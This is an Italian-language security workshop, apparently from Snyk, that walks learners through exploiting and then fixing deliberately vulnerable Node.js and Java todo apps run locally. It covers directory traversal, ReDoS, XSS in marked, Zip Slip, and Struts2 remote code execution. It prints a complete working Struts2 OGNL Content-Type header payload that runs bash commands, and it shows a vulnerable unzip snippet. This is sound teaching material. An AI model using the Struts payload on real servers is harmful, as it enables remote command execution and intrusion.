
Un workshop passo passo per sfruttare varie vulnerabilità nelle applicazioni Node.js e Java
In questo workshop passo-passo imparerai come sfruttare varie vulnerabilità reali presenti in versioni vulnerabili di pacchetti in un'applicazione Node.js e Java.
Puoi svolgere questo workshop in 2 diversi modi
OPPURE
Questo workshop ti guiderà attraverso l'installazione e lo sfruttamento di alcune applicazioni volutamente vulnerabili. Le applicazioni utilizzeranno pacchetti reali con vulnerabilità note, tra cui:
Questi exploit esistono in diverse applicazioni, la maggior parte delle quali dovrai installare localmente o su un'istanza cloud. Le istruzioni seguenti ti guideranno attraverso l'installazione locale, ma sei libero di provarle anche su istanze cloud remote.
Per ogni sezione di vulnerabilità in questo workshop, riceverai informazioni sulla vulnerabilità e sul pacchetto in cui risiede. Ti invitiamo a provare a hackerare l'applicazione per tentativi ed errori senza leggere alcun suggerimento all'inizio. Cerca di pensare a come ingannare la sanificazione dell'applicazione e di entrare nella mente di un hacker. I suggerimenti sono lì per quando ti blocchi, quindi leggili in ordine quando hai bisogno di una mano. Se riesci a completare l'hack senza suggerimenti, fantastico! Tuttavia, può essere utile leggere i suggerimenti dopo per assicurarti di aver violato il sistema nello stesso modo nostro! Inoltre, potrebbero esserci piccoli consigli da imparare.
A seconda della tua scelta, seleziona il manuale di installazione appropriato
Dal browser di tua scelta, vai a http://localhost:3001 e dovresti vedere la seguente pagina.

Prenditi qualche minuto per esplorare il sito e, in particolare, crea alcuni elementi todo, usando testo normale "Compra latte" così come usando markdown "Compra **molto** latte". Inoltre, naviga verso la modesta pagina about collegata dal fondo della homepage. Goditi il CSS-foo usato per creare questa pagina about. Nota: le PR inviate per rendere questa pagina più bella non verranno unite ;o)

Prima di tutto, guardiamola dal lato blu (difensivo). Fai il fork dell'applicazione goof sul tuo account GitHub. L'applicazione si trova su GitHub qui: https://github.com/snyk/goof. Dobbiamo scansionare la nostra applicazione per capire le dipendenze dirette e indirette presenti, nonché le vulnerabilità in ogni libreria. Per farlo, vai su https://snyk.io e clicca "Sign up" o "Log in" (se sei già un utente), in alto a destra del sito:

Clicca il pulsante "Log in with your GitHub":

Successivamente, importa il progetto goof che hai appena clonato. Seleziona goof dalla lista dei tuoi repo GitHub e clicca il pulsante "Import Projects" in alto a destra della finestra.

Quando il progetto è stato scansionato, lo vedrai nella tua dashboard:

Clicca il link package.json per vedere la pagina del progetto, che include l'elenco completo delle vulnerabilità di sicurezza:

Puoi cliccare sulle schede issues e dependencies per maggiori informazioni sulle vulnerabilità e la loro risoluzione, oltre a dove vengono introdotte nella tua applicazione. Noterai verso il fondo dell'elenco delle vulnerabilità una directory traversal nel pacchetto st. Esaminiamola più in dettaglio.

Un attacco di Directory Traversal (noto anche come path traversal) mira ad accedere a file e directory che si trovano al di fuori della cartella prevista. Manipolando file con sequenze "dot-dot-slash" (../) e relative variazioni, o utilizzando percorsi assoluti, potrebbe essere possibile accedere a file e directory arbitrari sul filesystem, inclusi codice sorgente, configurazione e altri file critici di sistema.
Le vulnerabilità Directory Traversal possono essere generalmente divise in due tipi:
Il pacchetto nell'applicazione goof che contiene una vulnerabilità di directory traversal che sfrutteremo è il pacchetto st. Dai un'occhiata alla documentazione di st e familiarizza con la libreria.
Ora dovresti sapere cos'è un directory traversal, cosa fa il pacchetto st e puoi andare avanti e hackerare l'applicazione — sei di nuovo nella squadra rossa! Cerca nell'applicazione dove potrebbe essere utilizzato il pacchetto st e prova a navigare verso una directory a cui non dovresti avere accesso.
Ecco alcuni suggerimenti per darti indizi se ti blocchi — cerca di guardarli solo dopo aver già provato da solo e aver bisogno di aiuto.
Clicca per vedere Suggerimento 1.
Clicca per vedere Suggerimento 2.
Clicca per vedere Suggerimento 3.
Clicca per vedere Suggerimento 4.
Clicca per vedere Suggerimento 5.
Clicca per vedere Suggerimento 6.
Clicca per vedere Suggerimento 7.
Clicca per vedere Suggerimento 8.
Clicca per vedere Suggerimento 9.
Naviga nel tuo filesystem come se fossi un attaccante per trovare 3 informazioni sensibili sulla tua macchina che probabilmente non vorresti che un attaccante vedesse.
Clicca per vedere Suggerimento 10.
Dai un'occhiata alla descrizione della vulnerabilità, incluso il punteggio CVSS: https://snyk.io/vuln/npm:st:20140206. Perché pensi che la vulnerabilità sia di gravità media, piuttosto che alta?
Torna sulla pagina del progetto Snyk, trova la vulnerabilità di directory traversal nel pacchetto st e guarda i consigli di correzione. Vedrai che c'è un solo percorso verso questa vulnerabilità nell'applicazione, e il pacchetto st è una dipendenza diretta, quindi la correzione non dovrebbe essere troppo difficile. Possiamo vedere che dobbiamo aggiornare la versione del pacchetto st a 0.2.5. Possiamo farlo automaticamente, cliccando il pulsante "Fix this vulnerability".

Vedrai un elenco delle tue vulnerabilità, e solo la vulnerabilità st dovrebbe essere selezionata. Scorri fino in fondo alla pagina e clicca "Open a fix PR":

Guarda le modifiche al codice nella pull request sotto la scheda "Files Changed":

Assicurati che i tuoi nuovi test PR non introducano nuovi problemi di sicurezza o licenze e che siano superati. Questi si trovano nella scheda conversation della PR:

Quando sei soddisfatto della PR, unisci le modifiche.
Se stai eseguendo l'applicazione localmente, fermala premendo Ctrl+C nella finestra in cui hai lanciato npm start. Ottieni l'ultimo codice da GitHub eseguendo git fetch. Scarica la nuova versione di st eseguendo npm install e poi riavvia la tua applicazione usando npm start.
Riprova i tuoi hack. Congratulazioni! hai corretto la vulnerabilità e ora dovresti essere reindirizzato alla homepage ogni volta che provi a uscire dalla cartella pubblica.
Dai un'occhiata alla descrizione di una vulnerabilità ReDoS nella tua scansione Snyk:

Questa vulnerabilità nel pacchetto ms sarà quella che sfrutteremo nell'applicazione goof. Usa il seguente comando per aggiungere un elemento todo che contenga una rappresentazione testuale del tempo:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
La libreria ms ha rilevato un pattern temporale nella stringa di input del tuo contenuto. Questo è rappresentato in modo leggermente diverso nella pagina web goof.

Usando la tua conoscenza di come funziona ReDoS, prova a passare una stringa di contenuto che causi un ritardo notevole, o un denial of service per altri utenti. Nota che mentre la richiesta è in elaborazione, la pagina web bufferizzerà ogni tua ulteriore richiesta fino a quando la prima richiesta non sarà gestita.
Clicca per vedere [Suggerimento 1](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint1.md).
Clicca per vedere [Suggerimento 2](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint2.md).
Clicca per vedere [Suggerimento 3](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint3.md).
Clicca per vedere [Suggerimento 4](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint4.md).
Clicca per vedere [Suggerimento 5](https://github.com/snyk-labs/exploit-workshop/blob/main/ms/hint5.md).
Pensa a come potresti evitare programmaticamente questo attacco nel codice della tua applicazione?
### Correggi la vulnerabilità
Torna sulla pagina del progetto snyk, trova la vulnerabilità di denial of service tramite espressioni regolari nel pacchetto ```ms``` e guarda i consigli per la correzione. Vedrai che c'è un solo percorso per questa vulnerabilità nell'applicazione, e il pacchetto ```ms``` è una dipendenza indiretta, inclusa dal pacchetto ```humanize-ms```. Possiamo vedere che dobbiamo aggiornare la versione di ```humanize-ms``` a ```1.0.2```. Questo includerà il pacchetto ```ms``` in una versione corretta. Clicca di nuovo "Fix this Vulnerability" e crea una PR.

Dopo aver aggiornato la tua applicazione, riprova i tuoi hack. *Congratulazioni!*, hai corretto la vulnerabilità!
## Cross Site Scripting (XSS)
Gli attacchi XSS si verificano quando un attaccante induce il browser di un utente a eseguire codice JavaScript malevolo nel contesto del dominio della vittima. Tali script possono rubare i cookie di sessione dell'utente per il dominio, raschiare o modificare il suo contenuto, ed eseguire o modificare azioni per conto dell'utente, azioni tipicamente bloccate dalla Same Origin Policy del browser.
Questi attacchi sono possibili uscendo dal contesto dell'applicazione web e iniettando script malevoli in un sito altrimenti fidato. Questi script possono introdurre attributi aggiuntivi (ad esempio, una nuova opzione in un menu a tendina o un nuovo link a un sito malevolo) e possono potenzialmente eseguire codice lato client, all'insaputa della vittima. Ciò accade quando caratteri come ```< > " '``` non vengono escapati correttamente.
Esistono alcuni tipi di XSS:
* *XSS persistente* è un attacco in cui il codice malevolo persiste nel database dell'app web.
* *XSS riflesso* è un attacco in cui il sito web rimanda indietro una parte della richiesta. L'attaccante deve indurre l'utente a cliccare un link malevolo (ad esempio tramite un'email di phishing o JS malevolo su un'altra pagina), che innesca l'attacco XSS.
* *XSS basato su DOM* è un attacco che avviene puramente nel browser quando JavaScript lato client rimanda indietro una parte dell'URL nella pagina. L'XSS basato su DOM è notoriamente difficile da rilevare, poiché il server non ha mai la possibilità di vedere l'attacco in corso.
La vulnerabilità esiste nella libreria marked. Questa libreria ci permette di inserire testo markdown nella casella di input todo e di visualizzare il testo risultante in grassetto, o qualsiasi cosa desideri. Ora che hai più che familiarità con questa complessa applicazione multipagina, tieni a mente il pacchetto che è vulnerabile.
Per cominciare, proviamo a visualizzare l'alert '1'. Molto cliché, vero?
Clicca per vedere [Suggerimento 1](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint1.md).
Clicca per vedere [Suggerimento 2](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint2.md).
Clicca per vedere [Suggerimento 3](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint3.md).
Clicca per vedere [Suggerimento 4](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint4.md).
Clicca per vedere [Suggerimento 5](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint5.md).
Clicca per vedere [Suggerimento 6](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint6.md).
Clicca per vedere [Suggerimento 7](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint7.md).
Clicca per vedere [Suggerimento 8](https://github.com/snyk-labs/exploit-workshop/blob/main/marked/hint8.md).
Una volta che sei riuscito a eseguire del JavaScript che crea un alert, come mostrato sotto. Puoi provare qualcosa di un po' più complicato per ottenere informazioni sensibili!

### Correggi la vulnerabilità
Torna sulla pagina del progetto snyk, trova la vulnerabilità XSS nel pacchetto ```marked``` e guarda i consigli per la correzione. Vedrai che c'è un solo percorso per questa vulnerabilità nell'applicazione, e il pacchetto ```marked``` è una dipendenza diretta. Possiamo vedere che dobbiamo aggiornare ```marked``` alla versione ```0.3.9```. Clicca di nuovo "Fix this Vulnerability" e crea una PR.

Dopo aver aggiornato la tua applicazione, riprova i tuoi hack. Congratulazioni, hai corretto la vulnerabilità XSS e non dovresti più essere in grado di incorporare JavaScript nella pagina web.
# Installazione di Java Goof
A seconda della tua scelta, scegli il manuale di installazione appropriato
* usando [Immagini Docker](https://github.com/snyk-labs/exploit-workshop/blob/main/install/javagoof_docker.md)
* installa su [Macchina locale](https://github.com/snyk-labs/exploit-workshop/blob/main/install/javagoof_local.md)
Da un browser naviga al seguente URL: [http://localhost:8080/](http://localhost:8080/)
Vedrai questa applicazione. Sembra migliore dell'applicazione Node. Perché Java è meglio di Node. Fatto.

Clicca "Sign In" e usa le seguenti credenziali:```
Username: [email protected]
Password: foobar
Quando accedi, vedrai un certo numero di voci todo. Se fai clic su "About" nella parte superiore dello schermo, vedrai che l'applicazione utilizza Spring, Hibernate e Apache Struts. È molto gentile da parte dell'applicazione fornirci questi dati! Di solito i siti web non sono così gentili :)
Torniamo al team blu (difensivo), ora. Dobbiamo scansionare la nostra applicazione per comprendere le dipendenze dirette e indirette presenti nell'applicazione, così come le vulnerabilità in ogni libreria. Fai il fork di Java Goof sul tuo account GitHub. L'applicazione si trova su GitHub qui: https://github.com/snyk/java-goof
Se hai già un account Snyk dalla parte precedente del workshop, devi solo aggiungere il repository Java Goof nella dashboard di Snyk. Se non l'hai ancora fatto, crea il tuo account come segue:
Vai su https://snyk.io se non l'hai ancora fatto, clicca su "Log in" o "Sign up" in alto a destra del sito.

Clicca sul pulsante "Log in with your GitHub":

Importa il progetto goof che hai appena clonato. Fai clic sul link Integrations mostrato di seguito:

Da qui, seleziona l'integrazione GitHub e seleziona java-goof dall'elenco dei tuoi repository GitHub e fai clic sul pulsante "Add selected repositories" in alto a destra della finestra.

Quando il progetto è stato scansionato, lo vedrai nella tua dashboard:

Fai clic sul link todolist-web-struts/pom.xml per vedere l'elenco completo delle vulnerabilità di sicurezza per quella parte del progetto:

La vulnerabilità è presente nel pacchetto org.apache.struts:struts2-core.
Le versioni interessate del pacchetto sono vulnerabili all'esecuzione arbitraria di comandi durante il caricamento di file con il parser Jakarta Multipart. Questa particolare vulnerabilità può essere sfruttata da un attaccante inviando una richiesta appositamente creata per caricare un file sul server vulnerabile che utilizza un plugin basato su Jakarta per elaborare la richiesta di caricamento.
L'attaccante può quindi inviare codice malevolo negli header HTTP Content-Type, Content-Disposition o Content-Length, che verranno poi eseguiti dal server vulnerabile. Una prova di concetto che dimostra lo scenario di attacco è pubblicamente disponibile e la vulnerabilità viene attivamente sfruttata in natura.
Sebbene i manutentori del progetto open source abbiano immediatamente corretto la vulnerabilità, i server Struts che non hanno ancora installato l'aggiornamento rimangono sotto attacco da parte di hacker che la sfruttano per iniettare comandi a loro scelta.
Questo attacco può essere realizzato senza autenticazione. Per aggravare la situazione, le applicazioni web non devono necessariamente caricare con successo un file malevolo per sfruttare questa vulnerabilità, poiché la sola presenza della libreria Struts vulnerabile all'interno di un'applicazione è sufficiente per sfruttare la vulnerabilità.
Ecco un esempio di header che può sfruttare la vulnerabilità. Nota che il content type inizia con %{.```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Noterai che viene creato un ```ProcessBuilder``` e un comando bash verrà eseguito come risultato.
Hack l'applicazione effettuando una richiesta HTTP GET all'applicazione, inviando questa intestazione nella richiesta.
Clicca per vedere [Hint 1](https://github.com/snyk-labs/exploit-workshop/blob/main/struts/hint1.md).
Clicca per vedere [Hint 2](https://github.com/snyk-labs/exploit-workshop/blob/main/struts/hint2.md).
A questo stato ora hai diritti di esecuzione sulla macchina tramite il curl di un URL, come questo comando env per recuperare le variabili d'ambiente della tua macchina:

A questo punto hai diritti di esecuzione sulla macchina tramite il curl di un URL. Continua ad eseguire altri comandi per vedere cosa puoi imparare sulla macchina e anche eseguire sulla macchina.
# Zip Slip
Crea un nuovo progetto Maven nel tuo IDE preferito. Non ti giudicherò. Aggiungi una nuova dipendenza nel tuo file ```pom.xml```.```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
In questo repository troverai un archivio zip-slip.zip. Scaricalo ed esegui il seguente comando sull'archivio per vedere l'output. Mi aspetto che capirai come funziona questo hack una volta visto l'output.``` $ jar -tvf zip-slip.zip
## La vulnerabilità Zip Slip
Zip Slip è una forma di directory traversal che può essere sfruttata estraendo file da un archivio. Il presupposto della vulnerabilità di directory traversal è che un attaccante possa ottenere accesso a parti del file system al di fuori della cartella di destinazione in cui dovrebbero risiedere. L'attaccante può quindi sovrascrivere file eseguibili e invocarli da remoto o attendere che il sistema o l'utente li chiami, ottenendo così l'esecuzione remota di comandi sulla macchina della vittima. La vulnerabilità può anche causare danni sovrascrivendo file di configurazione o altre risorse sensibili e può essere sfruttata sia su macchine client (utente) che su server.
Le due parti necessarie per sfruttare questa vulnerabilità sono un archivio malevolo e un codice di estrazione che non esegue controlli di convalida. Esaminiamo ciascuna di esse a turno. Innanzitutto, il contenuto del file zip deve avere uno o più file che escono dalla directory di destinazione quando vengono estratti. Nell'esempio ```zip-slip.zip```, possiamo vedere due file: un file good.txt che verrebbe estratto nella directory di destinazione e un file evil.txt che cerca di risalire l'albero delle directory fino alla directory tmp. Noterai molti livelli di ```../``` in modo che il file abbia maggiori possibilità di raggiungere la directory radice, prima di tentare di spostarsi nella directory ```/tmp``` dalla directory radice.
Usa l'utility di decompressione di ```zt-zip``` presente in ```ZipUtil``` per estrarre il file e nota dove appaiono ```good.txt``` ed ```evil.txt``` nel tuo filesystem.
Clicca per vedere [Suggerimento 1](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint1.md).
Clicca per vedere [Suggerimento 2](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint2.md).
Una volta estratto il file evil.txt nella directory tmp, dai un'occhiata alle informazioni sulla vulnerabilità ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681)).
### Correggi la vulnerabilità!
Clicca per vedere [Suggerimento 3](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint3.md).
Clicca per vedere [Suggerimento 4](https://github.com/snyk-labs/exploit-workshop/blob/main/zipslip/hint4.md).
Ora che hai risolto la vulnerabilità nella tua dipendenza ```zt-zip```, diamo un'occhiata al codice che può essere utilizzato per farlo in Java. Nota che in questo esempio abbiamo usato la libreria Apache Commons IO per eseguire la copia del file alla riga 8.```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
Sostituiamo la precedente invocazione di ZipUtil.unpack con questo codice. Elimina i file good.txt e evil.txt dal tuo file system ed esegui di nuovo l'applicazione. Noterai che il file evil.txt raggiunge ancora la directory /tmp.
Identifica quali righe di codice sopra sono le colpevoli e correggile!
Clicca per vedere Hint 5.
Clicca per vedere Hint 6.
Clicca per vedere Hint 7.
Clicca per vedere Hint 8.
Clicca per vedere Hint 9.
Una volta che hai codificato difensivamente la tua soluzione, dai un'occhiata al nostro esempio di codice finale in Hint 9 per vedere come si confronta con la tua versione. Hai incluso il separatore di file finale alla riga 9? Questo garantisce che la directory non inizi solo con il nome della directory che abbiamo scelto, ma sia la directory che abbiamo scelto per estrarre i file.
Grazie per aver seguito questo workshop. Se vedi errori di battitura o suggerisci ulteriori suggerimenti, inviaci una PR!